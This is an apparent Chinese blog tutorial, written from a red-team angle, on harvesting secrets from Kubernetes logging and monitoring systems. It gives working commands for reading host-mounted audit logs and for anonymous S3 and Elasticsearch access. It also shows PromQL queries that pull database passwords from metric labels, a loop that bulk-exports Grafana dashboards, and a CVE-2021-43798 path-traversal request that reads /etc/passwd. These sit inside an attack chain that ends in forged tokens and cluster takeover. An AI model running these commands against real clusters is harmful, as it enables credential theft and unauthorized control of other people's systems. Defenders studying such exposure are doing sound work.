当前位置: 首页 > news >正文

红队视角出发的k8s敏感信息收集——日志与监控系统

针对 Kubernetes 日志与监控系统 的详细攻击视角分析,聚焦 集群审计日志 和 Prometheus/Grafana 暴露 的潜在风险及利用方法

攻击链示例

1. 攻击者通过容器逃逸进入 Pod → 
2. 发现未认证的 Prometheus 服务 → 
3. 查询环境变量标签获取数据库密码 → 
4. 通过审计日志发现高权限 ServiceAccount 活动 → 
5. 伪造 Token 接管集群控制权。

集群审计日志(Audit Log)攻击场景

**目标:**通过访问未受保护的审计日志,提取高权限操作记录(如 kubectl exec、Secret 访问)、服务账户 Token 使用痕迹,为横向移动提供线索。

1.定位审计日志存储位置

检查审计日志配置

检查Kubernetes API Server的审计策略配置是确保集群安全的重要步骤之一。通过审计日志,可以追踪谁在何时对API进行了何种操作,这对于检测潜在的安全威胁和事后分析至关重要。

要查看API Server当前使用的审计策略配置文件路径,可以通过以下命令获取kube-apiserver Pod的详细信息,并查找与审计策略相关的参数:

kubectl get pod kube-apiserver-control-plane -n kube-system -o yaml | grep audit-policy

执行上述命令后,你可能会看到类似如下的输出:

- --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml

下面是一个简单的审计策略示例,它记录所有请求的元数据(如用户、时间戳等),并对读取和写入操作进行更详细的记录:

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
- resources:- group: ""resources: ["pods"]verbs: ["create", "update", "delete"]level: RequestResponse

在这个示例中:

  • 所有请求至少记录元数据(level: Metadata)。
  • 对于pods资源上的create、update和delete操作,将记录完整的请求和响应内容(level: RequestResponse)。

发现日志存储后端

根据日志存储的位置,攻击者可能会有不同的方法来尝试访问这些敏感数据。

  • 本地文件:若日志存储在节点本地(如 /var/log/kubernetes/audit),攻击者可通过挂载宿主机目录窃取。
  • 集中存储:如 Elasticsearch、S3 存储桶等,需进一步探测访问权限。

2.窃取审计日志数据

直接读取本地日志文件

如果攻击者已经获得了对Kubernetes节点的控制权,或者能够通过挂载宿主机目录的方式在Pod中访问宿主机上的文件,那么他们可能直接读取存储在节点本地的日志文件,包括审计日志。这为获取敏感信息提供了途径,尤其是当这些日志包含高权限操作记录时。

假设攻击者已经成功地将宿主机器的日志目录挂载到了Pod内,他们可以使用以下命令来读取和分析审计日志文件:

读取审计日志文件

cat /host/var/log/kubernetes/audit/audit.log

这里的/host/var/log/kubernetes/audit/audit.log是挂载到Pod内的宿主机日志文件路径,实际路径可能会根据具体的挂载配置有所不同。

过滤高权限操作记录

如果想要专门查找某些特定的操作(如执行命令),并且关注的是由特定服务账户发起的操作,可以使用grep命令进行过滤。例如,查找所有由kube-system命名空间下的admin服务账户执行的exec命令:

grep "exec" audit.log | grep "user\":\"system:serviceaccount:kube-system:admin"

这个命令首先会在audit.log文件中搜索包含exec关键字的行,然后进一步筛选出那些用户字段中包含system:serviceaccount:kube-system:admin的服务账户执行的操作。

访问未受保护的集中存储

在云环境中,尤其是使用Amazon S3作为审计日志或其他敏感数据的存储后端时,确保这些存储桶的安全配置至关重要。错误配置的S3存储桶可能会允许匿名用户访问或下载其中的数据,这对安全性构成了严重威胁。

通过以下命令,可以尝试以匿名方式列出S3存储桶中的内容或复制文件到本地:

列出S3存储桶的内容

aws s3 ls s3://audit-logs-bucket/ --no-sign-request

这个命令尝试以匿名身份(即不使用任何AWS凭证)列出名为audit-logs-bucket的S3存储桶中的文件和目录。如果该存储桶的权限设置为允许公共读取,则此命令将成功返回存储桶内的对象列表。

从S3存储桶复制文件到本地

如果发现某个特定的日志文件可以被匿名访问,你可以使用以下命令将其下载到本地:

aws s3 cp s3://audit-logs-bucket/cluster-audit.log .

此命令会尝试将audit-logs-bucket存储桶中的cluster-audit.log文件下载到当前工作目录下。同样,这也依赖于存储桶是否允许匿名用户的读取权限。

Elasticsearch 未授权访问

如果Elasticsearch实例配置不当,允许未授权访问,这可能会导致敏感信息的泄露,包括但不限于Kubernetes集群中的审计日志。这些日志可能包含有关创建、更新或删除资源(如Secrets)的重要信息。

使用curl命令可以直接向Elasticsearch发送请求,以检测是否存在未授权访问的情况。以下是一个示例命令,用于搜索所有包含特定条件的日志条目:

curl http://xx.xx.xx.xx:9200/_search?q=verb:"create"+AND+objectRef.resource:"secrets"

在这个例子中:

  • http://10.96.0.100:9200 是Elasticsearch服务的地址和端口。
  • /_search 是Elasticsearch的搜索API端点。
  • q=verb:“create”+AND+objectRef.resource:“secrets” 是查询参数,用于查找所有动作为* * * create且涉及资源类型为secrets的日志条目。

如果该请求成功返回结果,说明Elasticsearch实例可能存在未授权访问的风险。

3.敏感信息提取示例

审计日志条目可能包含以下关键信息:

{"user": {"username": "system:serviceaccount:kube-system:admin"},"verb": "create","objectRef": {"resource": "secrets","name": "database-credentials","namespace": "default"},"requestURI": "/api/v1/namespaces/default/secrets"
}
  • 用户信息 (user):
    “username”: “system:serviceaccount:kube-system:admin”:指示执行此操作的用户是kube-system命名空间下的admin服务账户。这可能是集群管理员或具有高权限的服务账户。
  • 操作类型 (verb):
    “verb”: “create”:表明这是一个创建操作。在这个例子中,某个实体正在尝试创建一个新的资源。
  • 对象引用 (objectRef):
    “resource”: “secrets”:指出被操作的对象类型为Secret。Secrets通常用于存储敏感数据,如密码、API密钥等。
    “name”: “database-credentials”:具体的Secret名称,这里表示与数据库凭证相关的Secret。
    “namespace”: “default”:指定了该Secret所在的命名空间。
  • 请求URI (requestURI):
    “/api/v1/namespaces/default/secrets”:显示了此次请求的具体API路径,进一步确认了操作发生在哪个API版本及命名空间下。

通过上述系列步骤,可以发现高权限 ServiceAccount 的操作记录,用于伪造 Token 或重放请求。

Prometheus/Grafana 暴露攻击场景

目标:通过未授权的监控接口获取节点/Pod 资源指标、服务依赖拓扑,甚至通过标签(Labels)泄露敏感信息。

发现 Prometheus/Grafana 服务

扫描集群内部服务

为了识别和访问集群内部部署的服务,如监控工具Prometheus和Grafana,可以通过Kubernetes的kubectl命令行工具查询相关服务的信息。这些信息通常包括服务的名称、类型、集群IP以及端口号等,这对于后续的安全评估或管理操作非常重要。

使用以下命令可以查找位于monitoring命名空间下的Prometheus(默认端口9090)和Grafana(默认端口3000)服务:

kubectl get svc -n monitoring | grep -E 'prometheus|grafana'

执行上述命令后,你可能会看到类似如下的输出:

prometheus-svc    ClusterIP   10.96.0.200   <none>        9090/TCP    10d
grafana-svc       ClusterIP   10.96.0.201   <none>        3000/TCP    10d

在这个示例中:

  • prometheus-svc 是Prometheus服务的名称,它被分配了一个ClusterIP 10.96.0.200,并且监听在端口9090/TCP上。
  • grafana-svc 是Grafana服务的名称,它的ClusterIP是10.96.0.201,并监听在端口3000/TCP上。

如果你在一个运行在集群内的Pod中工作,可以直接使用服务名进行访问。例如,要访问Prometheus UI,可以在Pod内执行:

curl http://prometheus-svc:9090

通过端口转发访问:如果需要从集群外部访问这些服务,可以使用kubectl port-forward命令将服务端口转发到本地机器上的任意端口。例如,要访问Grafana界面,可以执行:

kubectl port-forward svc/grafana-svc 3000:3000 -n monitoring

然后,在浏览器中打开http://localhost:3000即可访问Grafana界面。

绕过认证访问接口

匿名访问 Grafana

如果Grafana实例未正确配置认证和授权机制,可能会允许匿名用户访问其接口和数据,这将构成重大的安全风险。通过发送一个简单的HTTP请求到Grafana的API端点,可以测试是否启用了登录认证。

使用curl命令向Grafana服务发送请求以检查是否允许匿名访问:

curl -v http://10.96.0.201:3000/api/dashboards/home

在这个例子中:

  • -v 参数用于显示详细的通信过程,包括请求头和响应头。
  • http://10.96.0.201:3000/api/dashboards/home 是目标URL,指向Grafana实例的首页仪表板API端点。

如果请求成功并返回状态码200 OK,这意味着未启用登录认证,任何用户都可以无需登录即可访问Grafana的资源。

Prometheus API 未授权

如果Prometheus实例没有正确配置认证和授权,可能会允许任何人通过其API访问敏感信息,如监控目标的详细信息(包括Pod IP和端口)。这将构成潜在的安全风险,因为这些信息可以被攻击者利用来进一步探索集群内部结构或发起针对性攻击。

使用curl命令可以直接向Prometheus的API发送请求,以测试是否启用了访问控制。以下是一个示例命令,用于获取所有监控目标的信息:

curl http://xx.xx.xx.xx:9090/api/v1/targets

如果请求成功并返回了JSON格式的数据列表,这意味着Prometheus实例可能允许未授权访问。响应中的数据通常包含监控目标的详细信息,如Pod IP地址、端口号等。

{"status": "success","data": {"activeTargets": [{"discoveredLabels": {},"labels": {"__address__": "10.244.0.4:9100","job": "kubernetes-pods"},"scrapePool": "kubernetes-pods/0","scrapeUrl": "http://10.244.0.4:9100/metrics","globalUrl": "http://10.244.0.4:9100/metrics","lastError": "","lastScrape": "2025-02-11T09:39:12.123456789Z","lastScrapeDuration": 0.002345678,"health": "up"}]}
}

利用 PromQL 查询敏感数据

提取 Pod 环境变量

某些部署工具可能会将应用的配置信息,包括敏感数据如数据库密码等,以环境变量的形式注入到容器中。如果这些环境变量被错误地包含在暴露给Prometheus的指标标签中,那么它们就可能通过Prometheus的API公开,导致敏感信息泄露。

为了检查是否存在这样的风险,可以通过Prometheus的查询API来检索特定命名空间下的Pod容器信息,并查看是否包含环境变量作为指标标签的一部分。以下是一个示例命令:

curl -G http://10.96.0.200:9090/api/v1/query \--data-urlencode 'query=kube_pod_container_info{namespace="default"}'

在这个例子中:

  • -G 参数表示使用GET方法并将所有数据附加到URL查询字符串中。
  • –data-urlencode ‘query=kube_pod_container_info{namespace=“default”}’ 是请求体中的查询参数,用于从Prometheus获取位于default命名空间下所有Pod容器的信息。

如果查询返回的数据中包含了类似如下的内容,则说明存在敏感信息泄露的风险:

{"status": "success","data": {"resultType": "vector","result": [{"metric": {"__name__": "kube_pod_container_info","env": "DB_PASSWORD=Pa$$w0rd","namespace": "default","pod": "example-pod"},"value": [1676078400, "1"]}]}
}

在此示例中,可以看到环境变量env="DB_PASSWORD=Pa$$w0rd"直接暴露在了Prometheus的指标标签中,这显然是不安全的做法。

服务拓扑与依赖分析

通过分析Prometheus中的服务指标,可以推断出Kubernetes集群内部的服务架构及其依赖关系。这对于理解系统的整体健康状况、优化资源分配以及识别潜在的安全风险都非常重要。以下是如何使用Prometheus查询来获取HTTP请求量最高的服务作为例子进行服务拓扑和依赖分析的方法。

要找出HTTP请求量最高的服务,可以使用Prometheus的查询功能来计算一段时间内的请求速率,并按服务分组排序。以下是一个示例命令:

curl -G http://10.96.0.200:9090/api/v1/query \--data-urlencode 'query=topk(5, sum(rate(http_requests_total[5m])) by (service))'

在这个例子中:

  • -G 参数表示使用GET方法并将所有数据附加到URL查询字符串中。
  • –data-urlencode ‘query=topk(5, sum(rate(http_requests_total5m)) by (service))’ 是请求体中的查询参数,用于从Prometheus获取过去5分钟内每个服务的HTTP请求数量,并返回前5个(即请求量最高的5个服务)。
  • rate(http_requests_total5m):计算每秒的HTTP请求数量,基于最近5分钟的数据。
  • sum(…) by (service):对相同服务的所有实例的请求速率求和,并按服务名称分组。
  • topk(5, …):从结果中选取前5个服务,这些服务具有最高的HTTP请求速率。

假设Prometheus返回了如下JSON格式的数据:

{"status": "success","data": {"resultType": "vector","result": [{"metric": {"service": "frontend"},"value": [1676080400, "350"]},{"metric": {"service": "backend"},"value": [1676080400, "200"]},{"metric": {"service": "auth-service"},"value": [1676080400, "150"]},{"metric": {"service": "payment"},"value": [1676080400, "100"]},{"metric": {"service": "inventory"},"value": [1676080400, "50"]}]}
}

在这个示例中,可以看到每个服务在过去5分钟内的平均HTTP请求数量(第二项为值),例如frontend服务有350次请求,是请求量最高的服务。

Grafana 面板数据泄露

导出所有仪表盘配置

为了导出Grafana中的所有仪表盘配置,可以利用Grafana提供的RESTful API来获取每个仪表盘的详细信息。你提供的命令是一个有效的起点,它首先搜索所有仪表盘以获取它们的UID,然后针对每一个UID请求详细的仪表盘数据,仪表盘可能包含数据库连接字符串、内部服务 IP以下是对你提供的命令的解释以及如何正确执行此操作:

# 获取所有仪表盘的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')# 遍历每个UID并下载对应的仪表盘数据
for uid in $uids; docurl -s http://10.96.0.201:3000/api/dashboards/uid/$uid > "dashboard_$uid.json"
done

如果希望将所有仪表盘合并到一个文件中,并且保持有效的JSON格式,你可以这样做:

# 获取所有仪表盘的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')# 开始构建JSON数组
echo '[' > dashboards.json# 遍历每个UID并下载对应的仪表盘数据,同时添加逗号分隔
first=true
for uid in $uids; doif [ "$first" = true ]; thenfirst=falseelseecho ',' >> dashboards.jsonficurl -s http://10.96.0.201:3000/api/dashboards/uid/$uid >> dashboards.json
done# 结束JSON数组
echo ']' >> dashboards.json

这样,你就可以获得一个包含所有仪表盘配置的有效JSON文件了。注意,在执行这些命令之前,请确认已经安装了curl和jq工具,并且有权限访问Grafana实例。此外,如果Grafana启用了认证,则需要在请求中加入相应的认证头(如API密钥)。

利用 CVE-2021-43798(路径遍历漏洞)

CVE-2021-43798 是 Grafana 中的一个路径遍历漏洞,它允许攻击者通过构造特制的HTTP请求来访问服务器上的任意文件。此漏洞影响了Grafana 8.0.0-beta1至8.3.0版本(不包括补丁版本),并且已经在后续更新中得到了修复。如果运行的是这些受影响的版本且未打补丁,则存在安全风险。

下面是一个利用该漏洞读取/etc/passwd文件的例子:

curl --path-as-is http://10.96.0.201:3000/public/plugins/alertlist/../../../../../../etc/passwd

在这个例子中:

  • –path-as-is 参数确保URL路径按照提供的形式发送,而不进行任何规范化处理。
  • /public/plugins/alertlist/ 是一个合法的插件路径,后面跟着一系列…/用于向上遍历目录层级,最终指向/etc/passwd文件。

总结

日志与监控系统是攻击者的“情报金矿”,防御需从存储安全、访问控制、数据脱敏三个维度构建防护体系,并确保监控系统自身不被反向利用!

相关文章:

红队视角出发的k8s敏感信息收集——日志与监控系统

针对 Kubernetes 日志与监控系统 的详细攻击视角分析&#xff0c;聚焦 集群审计日志 和 Prometheus/Grafana 暴露 的潜在风险及利用方法 攻击链示例 1. 攻击者通过容器逃逸进入 Pod → 2. 发现未认证的 Prometheus 服务 → 3. 查询环境变量标签获取数据库密码 → 4. 通过审…...

Flask中获取请求参数的一些方式总结

在 Flask 中&#xff0c;可以从 request 对象中获取各种类型的参数。以下是全面整理的获取参数的方式及示例代码。 1. 获取 URL 查询参数&#xff08;Query String Parameters&#xff09; URL 中的查询参数通过 ?keyvalue&key2value2 的形式传递&#xff0c;使用 reques…...

架构——LVS负载均衡主要模式及其原理、服务水平、优缺点

LVS&#xff08;Linux Virtual Server&#xff09;是一款高性能的开源负载均衡软件&#xff0c;支持多种负载均衡模式。以下是其主要模式及其原理、服务水平、优缺点&#xff1a; 1. NAT 模式&#xff08;Network Address Translation&#xff09; 原理&#xff1a; 请求流程…...

【漫话机器学习系列】093.代价函数和损失函数(Cost and Loss Functions)

代价函数和损失函数&#xff08;Cost and Loss Functions&#xff09;详解 1. 引言 在机器学习和深度学习领域&#xff0c;代价函数&#xff08;Cost Function&#xff09;和损失函数&#xff08;Loss Function&#xff09;是核心概念&#xff0c;它们决定了模型的优化方向。…...

Android 13 上通过修改 AOSP 拦截 SystemUI 音量调节事件

定位关键代码SystemUI 的音量调节逻辑主要集中在以下类中: VolumeDialogController.java:负责与 AudioService 交互。 VolumeDialogImpl.java:处理 UI 交互事件(如按钮点击)。 PhoneWindowManager.java:处理物理按键事件(如音量键)。 拦截音量调节事件 以 VolumeDialog…...

SQL与数据库程序设计

1.1986年&#xff0c;10月美国国家标准局颁布了SQL语言的美国标准&#xff0c;称为SQL86 2.SQL(Structured Query Language)又称为结构化查询语言 3.建立索引的主要目的是加快查找的速度 4.在基本表上建立一个或者多个索引 5. 一个基本表是最多只能建立一个聚簇索引 6.CAL…...

大模型Deepseek的使用_基于阿里云百炼和Chatbox

目录 前言1. 云服务商2. ChatBox参考 前言 上篇博文中探索了&#xff08;本地&#xff09;部署大语言模型&#xff0c;适合微调、数据高隐私性等场景。随着Deepseek-R1的发布&#xff0c;大语言模型的可及性得到极大提升&#xff0c;应用场景不断增加&#xff0c;对高可用的方…...

AlmaLinux9.5安装samba实现与Windows文件共享 笔记250214

Fedora41安装samba实现与Windows文件共享 笔记241202 步骤: 安装samba, 并启用 smb , nmb 服务 切换阿里源(可选) ### 备份 /etc/yum.repos.d 文件夹 tempUri/etc/yum.repos.d ; sudo cp -a $tempUri $tempUri.$(date %0y%0m%0d%0H%0M%0Sns%0N).bak sed -e s|^mirrorli…...

二〇二四年终总结

写在前面 简单总结一下告诉自己&#xff0c;曾经活着 不必太纠结于当下&#xff0c;也不必太忧虑未来&#xff0c;当你经历过一些事情的时候&#xff0c;眼前的风景已经和从前不一样了。——村上春树 原本应该 24 年年中的时候写 23 年年终的总结&#xff0c;但是一直拖着&…...

学习sql的资源:sql练习平台;在线编辑器,免费sql教程,免费sql书籍

sql练习平台 LeetCode力扣(部分免费) 题库 - 力扣 (LeetCode) 全球极客挚爱的技术成长平台 HackerRank 解决 SQL |黑客排名 SQLPad SQL、Python 和 R 面试问题 StrataScratch StrataScratch - Analytical Questions 数据雷mur Free SQL Tutorial for Data Analysts …...

宝塔和docker的区别

宝塔面板 vs Docker&#xff1a;区别、场景与互补使用指南 eepseek回答宝塔和docker的区别 好的&#xff0c;我现在需要回答用户关于宝塔面板和Docker之间的区别的问题。首先&#xff0c;我需要明确这两个工具各自的定义、功能以及它们适用的场景&#xff0c;这样才能准确比较…...

机器学习--实现多元线性回归

机器学习—实现多元线性回归 本节顺延机器学习--线性回归中的内容&#xff0c;进一步讨论多元函数的回归问题 y ′ h ( x ) w ⊤ ∙ x b y^{\prime}h(x)w^\top\bullet xb y′h(x)w⊤∙xb 其中, w T ⋅ x 就是 W 1 X 1 w 2 X 2 w 3 X 3 ⋯ w N X N \text{其中,}w^\math…...

【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-Chapter2-HTML 中的 JavaScript

二、HTML 中的 JavaScript 将 JavaScript 插入 HTML 的主要方法是使用<script>元素。 <script>元素有下列 8 个属性。 async&#xff1a;可选。表示应该立即开始下载脚本&#xff0c;但不能阻止其他页面动作&#xff0c;比如下载资源或等待其他脚本加载。只对外部…...

【人工智能】释放数据潜能:使用Featuretools进行自动化特征工程

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 特征工程是机器学习流程中至关重要的一步,它直接影响模型的性能。然而,手动特征工程既耗时又需要领域专业知识。Featuretools是一个强大的…...

算法——对比A*算法与IDA*算法

A*算法与IDA*算法详细解析 1. A*算法 核心思想&#xff1a; A*算法是一种启发式搜索算法&#xff0c;结合了Dijkstra算法的最短路径保证和贪心最佳优先搜索的高效导向性。其核心是评估函数 ( f(n) g(n) h(n) )&#xff0c;其中&#xff1a; ( g(n) ): 从起点到当前节点 ( …...

GitLab CI/CD 的配置详解:从零开始使用 .gitlab-ci.yml 文件

在现代软件开发中&#xff0c;CI/CD&#xff08;持续集成与持续部署&#xff09;已成为提高开发效率和代码质量的核心实践。GitLab CI/CD 提供了强大的功能&#xff0c;帮助开发者自动化构建、测试和部署应用程序。而 .gitlab-ci.yml 文件是 GitLab CI/CD 配置的关键所在&#…...

python语言进阶之函数

目录 前言 函数的创建和调用 函数创建 调用函数 参数传递 形式参数和实际参数 位置参数 数量必须与定义时一致 位置必须与定义时一致 关键字参数 为参数设置默认值 可变参数 **parameter 返回值 变量的作用域 局部变量 全局变量 匿名函数 前言 提到函数&…...

网络安全等级保护基本要求、测评要求、高风险判定指引综合梳理

网络安全等级保护基本要求、测评要求、高风险判定指引综合梳理 等级保护基本要求、测评要求、高风险判定指引综合梳理测评要求思维导图二级三级 花了些时间把网络安全等级保护涉及的以下三份标准文件进行了整理&#xff0c;以表格的形式进行展现&#xff0c;能帮助初学者更加直…...

JSON入门略要

JavaScript对象表示法&#xff08;JavaScript Object Notation&#xff0c;JSON&#xff09;已经成为RESTful接口设计中的事实标准。 JSON数据格式使得应用程序可以通过RESTful API等方式在网络上进行数据通信。 REST: 表现层状态转化&#xff08;REpresentation State Transf…...

Python爬虫抓取数据时,如何设置请求头?

在Python爬虫中设置请求头是确保爬虫能够正常运行并获取目标数据的关键步骤之一。请求头可以帮助我们模拟浏览器行为&#xff0c;避免被目标网站识别为爬虫。以下是如何在Python爬虫中设置请求头的详细指南&#xff1a; 一、使用requests库设置请求头 requests库是Python中最…...

Python爬虫实战:研究MechanicalSoup库相关技术

一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...

Unity3D中Gfx.WaitForPresent优化方案

前言 在Unity中&#xff0c;Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染&#xff08;即CPU被阻塞&#xff09;&#xff0c;这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案&#xff1a; 对惹&#xff0c;这里有一个游戏开发交流小组&…...

全球首个30米分辨率湿地数据集(2000—2022)

数据简介 今天我们分享的数据是全球30米分辨率湿地数据集&#xff0c;包含8种湿地亚类&#xff0c;该数据以0.5X0.5的瓦片存储&#xff0c;我们整理了所有属于中国的瓦片名称与其对应省份&#xff0c;方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...

多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 &#xff08;一&#xff09;多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如&#xff0c;当用户上传一张“蓝色连衣裙”的图片时&#xff0c;接口可自动提取图像中的颜色&#xff08;RGB值&…...

安卓基础(aar)

重新设置java21的环境&#xff0c;临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的&#xff1a; MyApp/ ├── app/ …...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码

目录 一、&#x1f468;‍&#x1f393;网站题目 二、✍️网站描述 三、&#x1f4da;网站介绍 四、&#x1f310;网站效果 五、&#x1fa93; 代码实现 &#x1f9f1;HTML 六、&#x1f947; 如何让学习不再盲目 七、&#x1f381;更多干货 一、&#x1f468;‍&#x1f…...

基于TurtleBot3在Gazebo地图实现机器人远程控制

1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...

省略号和可变参数模板

本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...

Bean 作用域有哪些?如何答出技术深度?

导语&#xff1a; Spring 面试绕不开 Bean 的作用域问题&#xff0c;这是面试官考察候选人对 Spring 框架理解深度的常见方式。本文将围绕“Spring 中的 Bean 作用域”展开&#xff0c;结合典型面试题及实战场景&#xff0c;帮你厘清重点&#xff0c;打破模板式回答&#xff0c…...

【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)

前言&#xff1a; 双亲委派机制对于面试这块来说非常重要&#xff0c;在实际开发中也是经常遇见需要打破双亲委派的需求&#xff0c;今天我们一起来探索一下什么是双亲委派机制&#xff0c;在此之前我们先介绍一下类的加载器。 目录 ​编辑 前言&#xff1a; 类加载器 1. …...